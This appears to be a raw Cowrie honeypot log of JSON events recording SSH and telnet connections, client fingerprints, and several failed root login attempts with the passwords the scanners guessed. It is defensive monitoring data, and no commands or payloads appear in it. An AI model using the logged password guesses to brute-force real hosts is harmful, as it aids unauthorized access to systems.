{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43728,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b70a980fb4c","protocol":"telnet","message":"New connection: 192.119.13.58:43728 (10.17.0.5:23) [session: 3b70a980fb4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:10.844820Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":46352,"dst_ip":"10.17.0.5","dst_port":22,"session":"d62997551884","protocol":"ssh","message":"New connection: 43.135.177.217:46352 (10.17.0.5:22) [session: d62997551884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:11.499830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:11.512427Z","src_ip":"43.135.177.217","session":"d62997551884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:11.530339Z","src_ip":"59.126.224.134","session":"693ffa28737d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:11.580935Z","src_ip":"43.135.177.217","session":"d62997551884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bigdick","message":"login attempt [root/bigdick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:11.889100Z","src_ip":"43.135.177.217","session":"d62997551884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":39316,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7bf6239108","protocol":"ssh","message":"New connection: 165.154.23.26:39316 (159.203.135.109:22) [session: 0f7bf6239108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:11.906249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:11.911354Z","src_ip":"165.154.23.26","session":"0f7bf6239108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:12.128540Z","src_ip":"165.154.23.26","session":"0f7bf6239108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:12.960764Z","src_ip":"43.135.177.217","session":"d62997551884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:13.040722Z","src_ip":"165.154.23.26","session":"0f7bf6239108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52750,"dst_ip":"10.17.0.5","dst_port":23,"session":"229c6e695ba8","protocol":"telnet","message":"New connection: 192.119.13.58:52750 (10.17.0.5:23) [session: 229c6e695ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:13.238080Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:14.266874Z","src_ip":"165.154.23.26","session":"0f7bf6239108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":37262,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa8136297774","protocol":"ssh","message":"New connection: 37.143.61.84:37262 (159.203.135.109:22) [session: fa8136297774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:14.403502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:14.408944Z","src_ip":"37.143.61.84","session":"fa8136297774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:14.536095Z","src_ip":"37.143.61.84","session":"fa8136297774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd!@#","message":"login attempt [root/asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:14.919524Z","src_ip":"37.143.61.84","session":"fa8136297774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.66637659072876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:15.277230Z","src_ip":"192.119.13.58","session":"c8e2f7dc4346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39448,"dst_ip":"10.17.0.5","dst_port":22,"session":"351caafc64ef","protocol":"ssh","message":"New connection: 103.122.221.179:39448 (10.17.0.5:22) [session: 351caafc64ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:15.483791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:15.489432Z","src_ip":"103.122.221.179","session":"351caafc64ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:15.745088Z","src_ip":"103.122.221.179","session":"351caafc64ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:16.021091Z","src_ip":"37.143.61.84","session":"fa8136297774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.400115966796875,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:16.058093Z","src_ip":"192.119.13.58","session":"eb7bcacd2f9d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2698026980a","message":"login attempt [root/2698026980a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:16.510623Z","src_ip":"103.122.221.179","session":"351caafc64ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:17.768280Z","src_ip":"103.122.221.179","session":"351caafc64ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":60844,"dst_ip":"159.203.135.109","dst_port":22,"session":"5931a90aa13e","protocol":"ssh","message":"New connection: 207.56.225.202:60844 (159.203.135.109:22) [session: 5931a90aa13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:18.541257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:18.545872Z","src_ip":"207.56.225.202","session":"5931a90aa13e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:18.711222Z","src_ip":"207.56.225.202","session":"5931a90aa13e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k0n1g@2020","message":"login attempt [root/k0n1g@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:19.402765Z","src_ip":"207.56.225.202","session":"5931a90aa13e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:20.571115Z","src_ip":"207.56.225.202","session":"5931a90aa13e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.462514877319336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:23.496410Z","src_ip":"192.119.13.58","session":"d5b741f1b5d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.959638833999634,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:25.947865Z","src_ip":"192.119.13.58","session":"6ff97e0eb171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.37551498413086,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:27.723832Z","src_ip":"192.119.13.58","session":"577ec7767e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.46856737136841,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:29.112626Z","src_ip":"192.119.13.58","session":"f0792d6dc209","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":33810,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8dc034995fb","protocol":"ssh","message":"New connection: 35.225.56.202:33810 (10.17.0.5:22) [session: e8dc034995fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:36.400415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:36.405392Z","src_ip":"35.225.56.202","session":"e8dc034995fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:36.441330Z","src_ip":"35.225.56.202","session":"e8dc034995fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"suporte2","message":"login attempt [root/suporte2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:36.615145Z","src_ip":"35.225.56.202","session":"e8dc034995fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:37.674026Z","src_ip":"35.225.56.202","session":"e8dc034995fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":36856,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a3a11813bf8","protocol":"ssh","message":"New connection: 77.105.130.18:36856 (159.203.135.109:22) [session: 8a3a11813bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:38.379702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:38.384607Z","src_ip":"77.105.130.18","session":"8a3a11813bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:38.479253Z","src_ip":"77.105.130.18","session":"8a3a11813bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sammy123","message":"login attempt [root/sammy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:38.888957Z","src_ip":"77.105.130.18","session":"8a3a11813bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.83973932266235,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.006451Z","src_ip":"192.119.13.58","session":"5cb24447b67b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":50152,"dst_ip":"159.203.135.109","dst_port":22,"session":"5721faf5fb78","protocol":"ssh","message":"New connection: 43.135.176.251:50152 (159.203.135.109:22) [session: 5721faf5fb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.527992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.533367Z","src_ip":"43.135.176.251","session":"5721faf5fb78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:53:39.602259Z","src_ip":"43.135.176.251","session":"5721faf5fb78","protocol":"ssh"}
